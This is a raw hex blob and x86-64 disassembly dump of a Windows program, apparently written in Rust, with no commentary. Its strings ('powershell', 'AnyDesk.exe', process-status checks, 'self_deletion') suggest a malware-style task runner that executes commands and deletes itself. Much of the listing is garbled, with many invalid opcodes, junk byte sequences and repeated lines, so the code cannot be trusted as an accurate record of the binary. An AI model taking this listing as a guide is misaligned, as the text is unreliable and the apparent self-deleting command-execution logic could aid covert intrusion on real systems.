f6780d4e3fc092168de28a9aaac87fe0bd7bc6909b050dad977437b4b71e6feebc71a9b4089dee3b388ba5f668cd33937a4b86a6803f6492c4681a96114cbe0d14f081c1faff5c0612b75fc4fc05de9d3d70305151fb0f4a3dfcf6124feb03cec85b8c8b9d181f9aeef331006be4a2e14d44d3777cc26d4748e15d54e502dae9bfb1065a6834aa18836929d583e0c87eff5465aba560f79e7b42f02d4458a1e337b92440655d23661639044d868c482aecc487e00b622bd8a5564d9ccc7c84e5fc779834a223b51dc272aa98d45cc7c141a22a4f45a624e1e03e2a6cab7f6090e2a64039218b03442d2853a237b03d2c74b4bba7254114f35c80404c1440ee3908194636867896a0c07b2774742d8545ea981ea9344e0c6072b65926ef64539c82403443aeec641e369a7b4ca8713318dd58a395bd9ca8bbf5fbb03f212633da357aa27bfb5fdd576477e96df27538b45ce0f9db69145e78c035a39f2a795d428e533590abad203f96a50e2ff744ca9e3e102fdbe1097af1e12219e8807b3bd2b662cd7208ee3638e5cbaf86a3483bdfec6d25f8d3745ae3d037345b845daa8419b3f9ed4514e29c1011464109234a6ccb9a4b0f3fae27975596941e851e9827dba244a0dc1f2796d16dc8e594596e3befe4566bfa013e460298230fed5043c8f3f70456d5835b72fae288c23d65fccd92d5b4064515c2b27989c9d527986a9bf6bd7172705c9184dd57c8c68ec1bd21a8766f4d50bea29f67e75b39c6a24a32e8798e43e8421fcf3044f95a010a26a8609cfb95f916a315296fb0cb5a77a0143ff62f050908c991b2c680dd25d295573e4a8af2a68a5c7cedbd00a7aeb8ee62
call fcn.1401761a6
test rax, rax
jne 0x140163d3e
mov byte [rbp + 0x4af6], 1
lea rcx, [rbp + 0x340]
call fcn.14016b206
mov rax, qword [rbp + 0x340]
mov r12, qword [rbp + 0x348]
movabs rcx, 0x8000000000000000
cmp rax, rcx
je 0x140163d50
mov rcx, qword [rbp + 0x350]
mov qword [rbp + 0x3980], rax
mov qword [rbp + 0x3988], r12
mov qword [rbp + 0x3990], rcx
lea rcx, [rbp + 0x3980]
mov qword [rbp + 0x25d0], rcx
lea rax, [0x1400062be]
mov qword [rbp + 0x25d8], rax
mov qword [rbp + 0x25e0], rcx
loopne 0x14015bdc2
add byte [rax], al
lea rcx, [0x14025bf18]
jb 0x14015bda5
adc byte [rax], al
mov qword [rbp + 0x340], rcx
mov qword [rbp + 0x348], 3
and qword [rbp + 0x360], 0
mov qword [rbp + 0x25e8], rax
lea rax, [rbp + 0x25d0]
mov qword [rbp + 0x350], rax
mov qword [rbp + 0x358], 2
mov byte [rbp + 0x4adc], 1
lea rcx, [rbp + 0x46d0]
invalid
rol byte [rsi], 1
add byte [rax - 0x73], cl
lea rbx, [rbp + 0x340]
mov rdx, rbx
call fcn.140015f59
mov rax, qword [rbp + 0x46d0]
add byte [rax], r8b
invalid
add byte [rax], r8b
mov qword [rbp + 0x4aa8], rax
mov rax, qword [rbp + 0x46d8]
mov qword [rbp + 0x4aa0], rax
mov rsi, qword [rbp + 0x46e0]
mov al, 1
mov byte [rbp + 0x4adb], al
mov byte [rbp + 0x4ada], al
mov rcx, rbx
lea rdx, str.powershell
push 0xa
pop r8
call fcn.1401ab0a0
mov dword [rbp + 0x400], 0x8000000
mov byte [rbp + 0x4af5], 1
mov rcx, rbx
call fcn.1401b0d8e
lea r14, [rbp + 0x25d0]
mov rax, qword [rbp + 0x4aa8]
mov qword [rbp + 0x25d0], rax
mov rax, qword [rbp + 0x4aa0]
mov qword [rbp + 0x25d8], rax
mov qword [rbp + 0x25e0], rsi
mov byte [rbp + 0x4af5], 0
mov rcx, rbx
mov rdx, r14
call fcn.1401b0d1f
mov dword [rbp + 0x25d0], 3
mov rcx, rbx
mov rdx, r14
call fcn.1401ab340
mov byte [rbp + 0x4af5], 0
add byte [rcx + rcx*4 - 0xf], cl
add byte [rcx + rcx*4 - 0xf], cl
mov rdx, rbx
call fcn.1401a5e40
mov byte [rbp + 0x4af5], 0
lea rcx, [rbp + 0x46d0]
mov rdx, r14
lea r8, str.src_task.rs
call fcn.14016b178
mov byte [rbp + 0x4b16], 1
mov rcx, rbx
call fcn.14016b010
mov byte [rbp + 0x4b16], 1
lea rcx, str.AnyDesk.execmd_status:__processes_status:
push 0xb
pop rdx
call fcn.14016b3f6
mov byte [rbp + 0x3780], al
lea rax, [rbp + 0x46d0]
mov qword [rbp + 0x3f70], rax
mov dword [rbp + 0x3f70], eax
mov dword [rbp + 0x3f70], eax
lea rax, [0x14005f920]
mov qword [rbp + 0x3f78], rax
js 0x14015bf5e
add byte [rax], al
js 0x14015bf5e
add byte [rax], al
add byte [rax - 0x73], cl
test dword [rax + 0x48000037], eax
mov dword [rbp + 0x3f80], eax
lea rax, [rbp + 0x3780]
mov qword [rbp + 0x3f80], rax
lea rax, [0x14002b840]
mov qword [rbp + 0x3f88], rax
test dword [rax + 0x6a00003f], ecx
add bl, byte [rcx + 0x48]
mov dword [rbp + 0x340], ecx
test dword [rax + 0x6a00003f], ecx
add bl, byte [rcx + 0x48]
mov dword [rbp + 0x340], ecx
mov qword [rbp + 0x350], rcx
add byte [rax], al
and qword [rbp + 0x360], 0
movabs rax, 0x400000020
add byte [rax], al
mov qword [rbp + 0x368], rax
mov al, 3
add ecx, dword [rax + 0x37085]
add byte [rax - 0x77], cl
lea edi, [rax + 3]
add byte [rax], al
mov qword [rbp + 0x388], rcx
mov qword [rbp + 0x398], 1
mov qword [rbp + 0x3a0], 0x20
mov byte [rbp + 0x3a8], al
lea rax, [0x14025bfa0]
add byte [rax], dl
add byte [rax - 0x77], cl
test dword [rax + 0x48000043], eax
mov dword [rbp + 0x4388], ecx
invalid
add byte [rax], dl
add byte [rax - 0x77], cl
test dword [rax + 0x48000043], eax
mov dword [rbp + 0x4388], ecx
invalid
add byte [rax - 0x73], cl
mov ch, 0x40
add eax, dword [rax]
add byte [rax - 0x77], cl
mov ch, 0xa0
invalid
add byte [r8], al
lea rsi, [rbp + 0x340]
mov qword [rbp + 0x43a0], rsi
invalid
add byte [r8], al
movabs al, byte [0x43a88d8948000043]
add byte [rax], al
mov qword [rbp + 0x43a8], rcx
lea rax, [rbp + 0x3f70]
mov qword [rbp + 0x4390], rax
mov qword [rbp + 0x4398], rcx
mov rcx, rdi
lea rdx, [rbp + 0x4380]
xchg ebp, eax
add byte [rbx], 0
call fcn.140015f59
mov rax, qword [rbp + 0x2370]
test dword [rax + 0x23], esi
add byte [rax], al
mov qword [rbp + 0x4a90], rax
mov rdx, qword [rbp + 0x2378]
mov r8, qword [rbp + 0x2380]
mov rcx, rsi
mov qword [rbp + 0x4ab0], rdx
call fcn.14003f3ec
mov eax, dword [rbp + 0x4700]
mov rcx, qword [rbp + 0x4ae0]
mov qword [rbp + 0x25d0], rcx
mov rcx, qword [rbp + 0x4b18]
sbb byte [rbx], cl
add byte [rax - 0x77], cl
invalid
fsub dword [0xcb5dc036]
invalid
or byte [rdx], 0
add byte [rax], al
add byte [rax], al
mov qword [rbp + 0x25e0], rcx
mov rcx, qword [rbp + 0x350]
lea edx, [rax + 3]
add byte [rax], al
invalid
lea edx, [rax + 3]
add byte [rax], al
invalid
add byte [rcx - 0x77], cl
adc byte [r15], r9b
adc byte [rbp + 0x340], al
mov qword [r15 + 0x10], rcx
movups xmm0, xmmword [rbp + 0x340]
movups xmmword [r15], xmm0
mov dword [rbp + 0x2600], 1
mov dword [rbp + 0x2604], eax
mov rcx, qword [rbp + 0x4a90]
mov rdx, qword [rbp + 0x4ab0]
call fcn.14006095a
mov rcx, rsi
lea rdx, [rbp + 0x25d0]
call fcn.140156586
mov rcx, qword [rbp + 0x340]
mov r8, qword [rbp + 0x348]
movabs rax, 0x8000000000000000
cmp rcx, rax
je 0x140163e3f
add al, ch
cld
movsb byte [rdi], byte [rsi]
invalid
mov qword [rbp + 0x4a90], rcx
mov r9, qword [rbp + 0x350]
mov rax, qword [rbp + 0x4ab8]
mov qword [rsp + 0x28], rax
mov rax, qword [rbp + 0x4ac8]
mov qword [rsp + 0x20], rax
lea rcx, [rbp + 0x340]
mov rdx, qword [rbp + 0x4a88]
mov qword [rbp + 0x4ab0], r8
call fcn.14018acd5
cmp byte [rbp + 0x340], 0
jne 0x140163e53
mov r8, qword [rbp + 0x348]
mov rcx, qword [rbp + 0x4ac8]
mov rdx, qword [rbp + 0x4ab8]
lea r9, str.src_task.rs
call fcn.14015af46
mov r8, rdx
mov rcx, qword [rbp + 0x4a78]
mov rdx, rax
call fcn.14015af66
mov r12, rax
invalid
test rax, rax
jne 0x140163e67
invalid
mov rcx, qword [rbp + 0x4a90]
mov rdx, qword [rbp + 0x4ab0]
call fcn.14006095a
lea rcx, [rbp + 0x25d0]
call fcn.14003f121
lea rcx, [rbp + 0x46d0]
call fcn.14003f121
out dx, al
dec dword [rax - 0x75]
lea eax, [rax + 0x48000039]
mov edx, dword [rbp + 0x3988]
call fcn.14006095a
mov byte [rbp + 0x4b21], 0
and dword [rbx], ecx
add byte [rax], al
and dword [rbx], ecx
add byte [rax], al
mov rcx, qword [rbp + 0x4ae8]
call qword [sym.imp.kernel32.dll_CloseHandle]
invalid
adc eax, dword [rdi]
add dh, al
test dword [rdx], esp
add byte [r8], al
add byte [rax - 0x75], cl
lea ecx, [rax]
or byte [rbx], cl
add bh, bh
adc eax, 0x71323
adc eax, dword [rdi]
add dh, al
test dword [rbx], esp
add byte [r8], al
add byte [rax - 0x75], cl
lea ebp, [rax]
add byte [r8], al
call qword [sym.imp.kernel32.dll_CloseHandle]
mov byte [rbp + 0x4b24], 0
mov rcx, qword [rbp + 0x4b38]
call qword [sym.imp.kernel32.dll_CloseHandle]
mov rcx, qword [rbp + 0x3d40]
cmp eax, 0x8b480000
xchg ebp, eax
invalid
invalid
add byte [rax], al
invalid
cmp eax, 0x8b480000
xchg ebp, eax
cmp rax, 0xffffffff82e80000
invalid
mov edx, dword [rbp + 0x3d48]
call fcn.14006095a
jmp 0x14015c6dd
mov qword [rbp + 0x4ae0], rbx
mov qword [rbp + 0x4b18], rdi
invalid
add byte [rax - 0x77], cl
mov ebp, 0x4b18
invalid
add byte [rcx + rcx*4 - 0x53], cl
add byte [rbx], cl
add byte [rcx + rcx*4 - 0x5b], cl
clc
add byte [rax], al
mov qword [rbp + 0x4b00], r13
mov qword [rbp + 0x4af8], r12
mov al, 1
mov byte [rbp + 0x4b47], al
mov byte [rbp + 0x4b46], al
lea rcx, [rbp + 0x340]
call fcn.1401c4117
lea r15, [rbp + 0x2370]
cmp qword [rbp + 0x340], 0
add byte [rax], al
mov rcx, qword [rbp + 0x348]
mov rdx, qword [rbp + 0x350]
mov rax, qword [rbp + 0x358]
je 0x14015c93c
mov qword [rbp + 0x340], rcx
mov qword [rbp + 0x348], rdx
mov qword [rbp + 0x350], rax
mov al, 1
mov byte [rbp + 0x4b47], al
mov byte [rbp + 0x4b46], al
lea rcx, [rbp + 0x3780]
xor byte [rdi], 0
add byte [rax - 0x73], cl
lea edx, [rbp + 0x340]
xor byte [rdi], 0
add byte [rax - 0x73], cl
invalid
xchg ebp, eax
lea edx, [rbp + 0x340]
add eax, dword [rax]
add al, ch
cli
add byte [rax], al
call fcn.14016bd65
jmp 0x14015d764
mov qword [rbp + 0x4ae0], rbx
popfq
loopne 0x14015c2c7
add byte [rax], al
mov qword [rbp + 0x4b18], rdi
mov qword [rbp + 0x4b00], r13
add byte [r8], al
mov qword [rbp + 0x4af8], r12
mov al, 1
mov byte [rbp + 0x4b47], al
mov byte [rbp + 0x4b46], al
call fcn.14016accd
lea rcx, [rbp + 0x2370]
lea r8, [rbp + 0x3f70]
lea eax, [rbp + 0x3f70]
and al, 1
mov byte [rbp + 0x2370], al
and dl, 1
mov byte [rbp + 0x3f70], dl
add dword [rax + 0x237085], ecx
add byte [rax - 0x6a77fe1e], al
jo 0x14015c303
add byte [rax], al
mov qword [rbp + 0x46d0], rcx
mov dword [rbp + 0x46d0], ecx
lea rcx, [0x14002b840]
mov qword [rbp + 0x46d8], rcx
lea rax, str.process_status:___close_status:_X
mov qword [rbp + 0x25d0], rax
push 2
pop rax
mov qword [rbp + 0x25d8], rax
and qword [rbp + 0x25f0], 0
mov qword [rbp + 0x46e0], r8
mov qword [rbp + 0x46e8], rcx
mov dword [rbp + 0x46e8], ecx
lea rcx, [rbp + 0x46d0]
mov qword [rbp + 0x25e0], rcx
mov qword [rbp + 0x25e8], rax
lea rcx, [rbp + 0x4380]
lea rsi, [rbp + 0x25d0]
mov rdx, rsi
call fcn.140015f59
mov rax, qword [rbp + 0x4380]
mov qword [rbp + 0x4b28], rax
mov rdx, qword [rbp + 0x4388]
mov r8, qword [rbp + 0x4390]
mov rcx, rsi
mov qword [rbp + 0x4b38], rdx
call fcn.14003f3ec
mov rax, qword [rbp + 0x4ae0]
mov qword [rbp + 0x340], rax
mov rax, qword [rbp + 0x4b18]
mov qword [rbp + 0x348], rax
mov rax, qword [rbp + 0x4a80]
mov qword [rbp + 0x350], rax
mov rax, qword [rbp + 0x25e0]
lea rcx, [rbp + 0x358]
mov qword [rcx + 0x10], rax
movups xmm0, xmmword [rbp + 0x25d0]
movups xmmword [rcx], xmm0
mov qword [rbp + 0x370], 1
mov rcx, qword [rbp + 0x4b28]
mov rdx, qword [rbp + 0x4b38]
xchg ebp, eax
cmp byte [rbx], cl
add al, ch
xchg edi, eax
lock dec dword [rax - 0x77]
int1
xchg ebp, eax
cmp byte [rbx], cl
add al, ch
xchg edi, eax
lock dec dword [rax - 0x77]
int1
lea rdx, [rbp + 0x340]
call fcn.140156586
mov rcx, qword [rbp + 0x25d0]
shl byte [0xcb61c3db], 1
test eax, ebx
and eax, 0xb8480000
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax + 0xfc13948], al
invalid
xchg dword [rsi], esi
invalid
mov qword [rbp + 0x4b28], rcx
mov r9, qword [rbp + 0x25e0]
mov rax, qword [rbp + 0x4ab8]
mov qword [rsp + 0x28], rax
mov rax, qword [rbp + 0x4ac8]
mov qword [rsp + 0x20], rax
lea rcx, [rbp + 0x25d0]
mov rdx, qword [rbp + 0x4a88]
add byte [rax], al
add byte [rax], al
mov qword [rbp + 0x4b38], r8
call fcn.14018acd5
cmp byte [rbp + 0x25d0], 0
jne 0x140163b13
mov r8, qword [rbp + 0x25d8]
mov rcx, qword [rbp + 0x4ac8]
add byte [rax], al
mov rdx, qword [rbp + 0x4ab8]
add byte [rax], al
lea r9, str.src_task.rs
call fcn.14015af46
mov r8, rdx
mov rcx, qword [rbp + 0x4a78]
mov rdx, rax
call fcn.14015af66
mov r12, rax
test rax, rax
jne 0x140163b27
mov rcx, qword [rbp + 0x4b28]
mov rdx, qword [rbp + 0x4b38]
call fcn.14006095a
lea rcx, [rbp + 0x340]
lea ecx, [rbp + 0x340]
lea ecx, [rbp + 0x340]
call fcn.14003f121
sub dword [rsi + rbp*8], 0xffffffff
jmp 0x14015c6dd
xor esi, esi
jmp 0x14015e269
mov qword [rbp + 0x4ae0], rbx
mov qword [rbp + 0x4b18], rdi
add byte [r8], al
add byte [r8], al
mov qword [rbp + 0x4b00], r13
mov qword [rbp + 0x4af8], r12
add byte [rax + 0x47858801], dh
add byte [r8], al
mov byte [rbp + 0x4b46], al
call fcn.14016a30e
lea rcx, [rbp + 0x3f70]
test rax, rax
je 0x14016433f
mov qword [rbp + 0x3f70], rax
lea rax, str.self_deletion
lea eax, [0x14025c0d8]
mov qword [rbp + 0x25d0], rax
push 1
pop rax
mov qword [rbp + 0x25d8], rax
and qword [rbp + 0x25f0], 0
and eax, 0x48000000
mov dword [rbp + 0x4380], ecx
lea rcx, [fcn.1400062f1]
mov qword [rbp + 0x4388], rcx
lea rcx, [rbp + 0x4380]
mov qword [rbp + 0x25e0], rcx
mov qword [rbp + 0x25e8], rax
lea rcx, [rbp + 0x46d0]
lea rsi, [rbp + 0x25d0]
mov rdx, rsi
call fcn.140015f59
mov rax, qword [rbp + 0x46d0]
mov qword [rbp + 0x4b28], rax
add byte [rax], al
add byte [rax], al
mov rdx, qword [rbp + 0x46d8]
mov r8, qword [rbp + 0x46e0]
mov rcx, rsi
mov qword [rbp + 0x4b38], rdx
call fcn.14003f3ec
mov rax, qword [rbp + 0x4ae0]
mov qword [rbp + 0x340], rax
mov rax, qword [rbp + 0x4b18]
mov qword [rbp + 0x348], rax
mov rax, qword [rbp + 0x4a80]
mov qword [rbp + 0x350], rax
mov rax, qword [rbp + 0x25e0]
lea rcx, [rbp + 0x358]
mov qword [rcx + 0x10], rax
movups xmm0, xmmword [rbp + 0x25d0]
movups xmmword [rcx], xmm0
movabs rax, 0x1f400000001
mov qword [rbp + 0x370], rax
mov rcx, qword [rbp + 0x4b28]
mov rdx, qword [rbp + 0x4b38]
cmp byte [rbx], cl
add al, ch
jne 0x14015c626
lock dec dword [rax - 0x77]
int1
cmp byte [rbx], cl
add al, ch
jne 0x14015c626
lock dec dword [rax - 0x77]
int1
lea rdx, [rbp + 0x340]
call fcn.140156586
mov rcx, qword [rbp + 0x25d0]
mov r8, qword [rbp + 0x25d8]
mov eax, dword [rbp + 0x25d8]
movabs rax, 0x8000000000000000
cmp rcx, rax
je 0x140163a9f
add eax, dword [rax]
add al, ch
xchg edx, eax
lahf
invalid
mov qword [rbp + 0x4b28], rcx
mov r9, qword [rbp + 0x25e0]
mov rax, qword [rbp + 0x4ab8]
mov eax, 0x4800004a
mov dword [rsp + 0x28], eax
add byte [rax], al
mov qword [rsp + 0x28], rax
mov rax, qword [rbp + 0x4ac8]
mov qword [rsp + 0x20], rax
add byte [rax - 0x77], cl
and al, 0x20
lea rcx, [rbp + 0x25d0]
mov rdx, qword [rbp + 0x4a88]
mov qword [rbp + 0x4b38], r8
call fcn.14018acd5
cmp byte [rbp + 0x25d0], 0
jne 0x140163b60
mov r8, qword [rbp + 0x25d8]
mov rcx, qword [rbp + 0x4ac8]
mov rdx, qword [rbp + 0x4ab8]
lea r9, str.src_task.rs
call fcn.14015af46
mov r8, rdx
mov rcx, qword [rbp + 0x4a78]
mov rdx, rax
call fcn.14015af66
mov r12, rax
test rax, rax
jne 0x140163b74
mov rcx, qword [rbp + 0x4b28]
mov rdx, qword [rbp + 0x4b38]
call fcn.14006095a
lea rcx, [rbp + 0x340]
call fcn.14003f121
mov rcx, qword [rbp + 0x3f70]
mov rax, qword [rcx]
mov rax, qword [rax]
mov byte [rbp + 0x4b47], 1
mov byte [rbp + 0x4b46], 0
test dword [rsi + 0x4b], eax
add byte [rax], al
add bh, bh
invalid
test dword [rsi + 0x4b], eax
add byte [rax], al
add bh, bh
rol byte [rax - 0x4a], 1
add ecx, ebp
push 0x4800001b
mov qword [rbp + 0x4ae0], rbx
mov sil, 1
jmp 0x14015e24d
mov qword [rbp + 0x4ae0], rbx
mov qword [rbp + 0x4b00], r13
mov qword [rbp + 0x4af8], r12
mov al, 1
mov byte [rbp + 0x4b47], al
mov byte [rbp + 0x4b46], al
lea rcx, [rbp + 0x25d0]
mov qword [rbp + 0x4b18], rdi
mov rdx, rdi
mov r8, qword [rbp + 0x4a80]
call fcn.140004a30
lea rdi, [rbp + 0x3f70]
mov rax, qword [rbp + 0x25e0]
mov qword [rbp + 0x350], rax
movups xmm0, xmmword [rbp + 0x25d0]
movaps xmmword [rbp + 0x340], xmm0
and qword [rbp + 0x358], 0
push 1
pop rax
mov qword [rbp + 0x360], rax
and qword [rbp + 0x368], 0
mov qword [rbp + 0x370], rax
call fcn.14016accd
add byte [rax], al
add byte [rax], al
lea rbx, [rbp + 0x25e8]
lea rcx, [rbp + 0x25d0]
call fcn.14016b206
mov rdx, qword [rbp + 0x25d0]
mov rcx, qword [rbp + 0x25d8]
movabs rax, 0x8000000000000000
cmp rdx, rax
je 0x14015c80e
mov qword [rbp + 0x4b28], rdx
mov rdx, qword [rbp + 0x25e0]
mov qword [rbp + 0x4b38], rcx
call case.0x140195a5d.319
mov rsi, rax
mov rcx, qword [rbp + 0x4b28]
mov rdx, qword [rbp + 0x4b38]
xchg ebp, eax
cmp byte [rbx], cl
add al, ch
mov word [rcx - 0x10], es
dec dword [rax - 0x77]
mov ch, 0xd0
and eax, 0x8d480000
invalid
shl byte [0x159fdc7de], 1
invalid
std
dec dword [rax - 0x73]
invalid
shl byte [0x151fdc7ea], 1
fld dword [rax]
add byte [rax - 0x75], cl
xchg ebp, eax
shl byte [0xcb5dc7f6], 1
invalid
fsub dword [0xf85dc7fd]
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax + 0xfc23948], al
test ebx, esp
invalid
add byte [rax], al
add byte [rax], al
test rcx, rcx
jne 0x14015e033
jmp 0x14015e126
mov qword [rbp + 0x4ae0], rbx
mov qword [rbp + 0x4b18], rdi
mov qword [rbp + 0x4b00], r13
mov al, 1
mov byte [rbp + 0x4b47], al
mov byte [rbp + 0x4b46], al
lea rcx, [rbp + 0x46b8]
mov qword [rbp + 0x4af8], r12
mov rdx, r12
mov r8, qword [rbp + 0x4a50]
call fcn.140003990
lea r12, [rbp + 0x2370]
lea rbx, [rbp + 0x3f70]
movabs r13, 0x2600000003
mov rdx, qword [rbp + 0x46c0]
mov r8, qword [rbp + 0x46c8]
mov qword [rbp + 0x4638], rdx
lea rcx, [rbp + 0x46a0]
call fcn.14016b001
and qword [rbp + 0x3b98], 0
mov qword [rbp + 0x3ba0], 8
and qword [rbp + 0x3ba8], 0
lea rcx, [rbp + 0x340]
call fcn.1401c4117
cmp qword [rbp + 0x340], 0
lea rax, [rbp + 0x358]
movups xmm0, xmmword [rax - 0x10]
movaps xmmword [rbp + 0x3670], xmm0
mov rax, qword [rax]
mov qword [rbp + 0x3680], rax
je 0x14015cbab
lea rcx, [rbp + 0x49f0]
lea rdx, [rbp + 0x3670]
call fcn.14016bd65
jmp 0x1401602fe
mov byte [rbp + 0x46d8], 4
lea rax, [0x140264930]
mov qword [rbp + 0x46e0], rax
movabs r13, 0x8000000000000000
mov qword [rbp + 0x46e8], r13
mov qword [rbp + 0x46f0], 1
and qword [rbp + 0x46f8], 0
jmp 0x14015e43b
and qword [rbp + 0x3d40], 0
mov qword [rbp + 0x3d48], 8
and qword [rbp + 0x3d50], 0
imul rax, rax, 0xb0
add rax, rdx
mov qword [rbp + 0x4380], rdx
mov qword [rbp + 0x4388], rdx
mov qword [rbp + 0x4390], rcx
mov qword [rbp + 0x4398], rax
push 8
pop rdi
xor esi, esi
lea r12, [rbp + 0x3d40]
cmp rdx, rax
je 0x14015cdc4
lea rax, [rdx + 0xb0]
mov qword [rbp + 0x4388], rax
mov rcx, qword [rdx]
movabs rax, 0x8000000000000000
cmp rcx, rax
je 0x14015cdc4
add rdx, 8
mov qword [rbp + 0x4b08], rcx
mov qword [rbp + 0x340], rcx
mov r8d, 0xa8
lea rcx, [rbp + 0x348]
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbp + 0x46d0]
lea rdx, [rbp + 0x340]
call fcn.1401c4c1c
mov rcx, qword [rbp + 0x46d0]
mov rdx, qword [rbp + 0x46d8]
mov r8, qword [rbp + 0x46e0]
mov r14d, dword [rbp + 0x46e8]
mov ebx, dword [rbp + 0x46ec]
movabs rax, 0x8000000000000000
cmp rcx, rax
je 0x14015d701
mov qword [rbp + 0x4b28], rcx
lea rcx, [rbp + 0x3980]
mov qword [rbp + 0x4b38], rdx
call fcn.14003f3ec
mov rcx, qword [rbp + 0x4b28]
mov rdx, qword [rbp + 0x4b38]
call fcn.14006095a
mov rdx, qword [rbp + 0x348]
mov r8, qword [rbp + 0x350]
mov byte [rbp + 0x4adf], 1
lea r12, [rbp + 0x3f70]
mov rcx, r12
call fcn.14016b648
lea rax, [0x14024fc08]
mov qword [rbp + 0x46d0], rax
mov qword [rbp + 0x46d8], 2
and qword [rbp + 0x46f0], 0
mov qword [rbp + 0x3c00], r12
lea rax, [0x1400062be]
mov qword [rbp + 0x3c08], rax
lea rax, [rbp + 0x3c00]
mov qword [rbp + 0x46e0], rax
mov qword [rbp + 0x46e8], 1
mov rcx, r15
lea rdx, [rbp + 0x46d0]
call fcn.140015f59
mov rcx, qword [rbp + 0x3f70]
mov rdx, qword [rbp + 0x3f78]
call fcn.14006095a
movups xmm0, xmmword [rbp + 0x2370]
movaps xmmword [rbp + 0x25d0], xmm0
mov rax, qword [rbp + 0x2380]
mov qword [rbp + 0x25e0], rax
mov rax, qword [rbp + 0x3990]
lea rcx, [rbp + 0x25e8]
mov qword [rcx + 0x10], rax
movups xmm0, xmmword [rbp + 0x3980]
movups xmmword [rcx], xmm0
mov dword [rbp + 0x2600], r14d
mov dword [rbp + 0x2604], ebx
cmp rsi, qword [rbp + 0x3d40]
lea r12, [rbp + 0x3d40]
jne 0x14015cb48
mov rcx, r12
call fcn.1401551f6
mov rdi, qword [rbp + 0x3d48]
imul rax, rsi, 0x38
movaps xmm0, xmmword [rbp + 0x25d0]
movaps xmm1, xmmword [rbp + 0x25e0]
movaps xmm2, xmmword [rbp + 0x25f0]
mov rcx, qword [rbp + 0x2600]
mov qword [rdi + rax + 0x30], rcx
movups xmmword [rdi + rax + 0x20], xmm2
movups xmmword [rdi + rax + 0x10], xmm1
movups xmmword [rdi + rax], xmm0
inc rsi
mov qword [rbp + 0x3d50], rsi
mov rcx, qword [rbp + 0x340]
mov rdx, qword [rbp + 0x348]
call fcn.14006095a
mov rdx, qword [rbp + 0x4388]
mov rax, qword [rbp + 0x4398]
jmp 0x14015c989
mov rax, qword [rbp + 0x3680]
mov qword [rbp + 0x3540], rax
movaps xmm0, xmmword [rbp + 0x3670]
movaps xmmword [rbp + 0x3530], xmm0
mov byte [rbp + 0x4ad6], 1
lea rcx, [rbp + 0x340]
call fcn.14018e480
mov rdx, qword [rbp + 0x340]
mov rcx, qword [rbp + 0x348]
movabs rax, 0x8000000000000000
cmp rdx, rax
jne 0x14015cf40
mov byte [rbp + 0x4ad6], 1
call fcn.1401c6bcc
mov qword [rbp + 0x49f8], rax
movabs rax, 0x8000000000000000
mov qword [rbp + 0x49f0], rax
lea rcx, [rbp + 0x3670]
call fcn.1401c3dbe
jmp 0x1401602fe
movabs rax, 0x8000000000000001
cmp rbx, rax
je 0x14015b83e
mov qword [rbp + 0x4ae0], rbx
mov qword [rbp + 0x4b18], rdi
and dword [rbp + 0x25d0], 0
mov r8, qword [rbp + 0x3f78]
cmp r8, 4
jb 0x14015de4d
mov rdx, qword [rbp + 0x3f70]
lea rax, [0x14024d9c8]
mov qword [rsp + 0x20], rax
lea rcx, [rbp + 0x340]
push 4
pop r9
call fcn.14005f4fb
mov r8, qword [rbp + 0x340]
mov r9, qword [rbp + 0x348]
mov rdi, qword [rbp + 0x350]
mov rbx, qword [rbp + 0x358]
lea rax, [0x14024d9e0]
mov qword [rsp + 0x20], rax
lea rcx, [rbp + 0x25d0]
push 4
pop rdx
call fcn.1401c59a4
mov qword [rbp + 0x3f70], rdi
mov qword [rbp + 0x3f78], rbx
mov ebx, dword [rbp + 0x25d0]
cmp rbx, 9
jae 0x14015df47
lea rdi, [rbp + 0x3f70]
cmp bl, 9
je 0x14015b82b
lea rcx, [rbp + 0x3f70]
call fcn.140148248
mov rdi, rdx
test rax, rax
jne 0x14015b82b
mov eax, 0x100000
cmp rdi, rax
mov rdx, rdi
cmovae rdx, rax
lea rcx, [rbp + 0x25d0]
call fcn.1401481de
sub rdi, 1
jb 0x14015fd29
mov byte [rbp + 0x46d0], 0
mov r8, qword [rbp + 0x3f78]
test r8, r8
je 0x14015fd92
mov rdx, qword [rbp + 0x3f70]
lea rax, [0x14024d9c8]
mov qword [rsp + 0x20], rax
lea rcx, [rbp + 0x340]
push 1
pop r9
call fcn.14005f4fb
mov r8, qword [rbp + 0x340]
mov r9, qword [rbp + 0x348]
mov r14, qword [rbp + 0x350]
mov r15, qword [rbp + 0x358]
lea rax, [0x14024d9e0]
mov qword [rsp + 0x20], rax
lea rcx, [rbp + 0x46d0]
push 1
pop rdx
call fcn.1401c59a4
mov qword [rbp + 0x3f70], r14
mov qword [rbp + 0x3f78], r15
mov dl, byte [rbp + 0x46d0]
lea rcx, [rbp + 0x25d0]
call fcn.140060b00
jmp 0x14015cd24
lea rcx, [rbp + 0x4380]
call fcn.14015668d
movups xmm0, xmmword [rbp + 0x3d40]
movaps xmmword [rbp + 0x3780], xmm0
mov rax, qword [rbp + 0x3d50]
mov qword [rbp + 0x3790], rax
jmp 0x14015d764
mov qword [rbp + 0x4b28], rdx
mov rdx, qword [rbp + 0x25e0]
and word [rbx + 0xc], 0
and dword [rbx + 8], 0
and qword [rbp + 0x25d8], 0
movabs rax, 0x1000100000001
mov qword [rbp + 0x25d0], rax
movups xmmword [rbp + 0x25e0], xmm7
mov qword [rbp + 0x4b38], rcx
lea r8, [rbp + 0x25d0]
call fcn.140194240
mov rsi, rdx
test rax, rax
jne 0x14015e00c
mov qword [rbp + 0x46d0], rsi
movaps xmmword [rbp + 0x25e0], xmm6
movaps xmmword [rbp + 0x25d0], xmm6
and qword [rbp + 0x25f0], 0
mov rcx, rsi
xor edx, edx
lea r8, [rbp + 0x25d0]
push 0x28
pop r9
call qword [sym.imp.kernel32.dll_GetFileInformationByHandleEx]
test eax, eax
je 0x14015dfef
test byte [rbp + 0x25f0], 0x10
movabs rsi, 0x10b00000002
je 0x14015dfff
lea rcx, [rbp + 0x46d0]
lea rdx, case.0x1401948b7.402
call case.0x14019638b.281
mov rsi, rax
test rax, rax
je 0x14015e371
mov qword [rbp + 0x25d0], rsi
mov eax, esi
and eax, 3
cmp rax, 2
jb 0x14015dfff
cmp eax, 2
jne 0x14015dfff
mov rax, rsi
shr rax, 0x20
cmp rax, 1
je 0x14015cef2
cmp eax, 0x57
je 0x14015cef2
cmp eax, 0x32
jne 0x14015dfff
lea rcx, [rbp + 0x46d0]
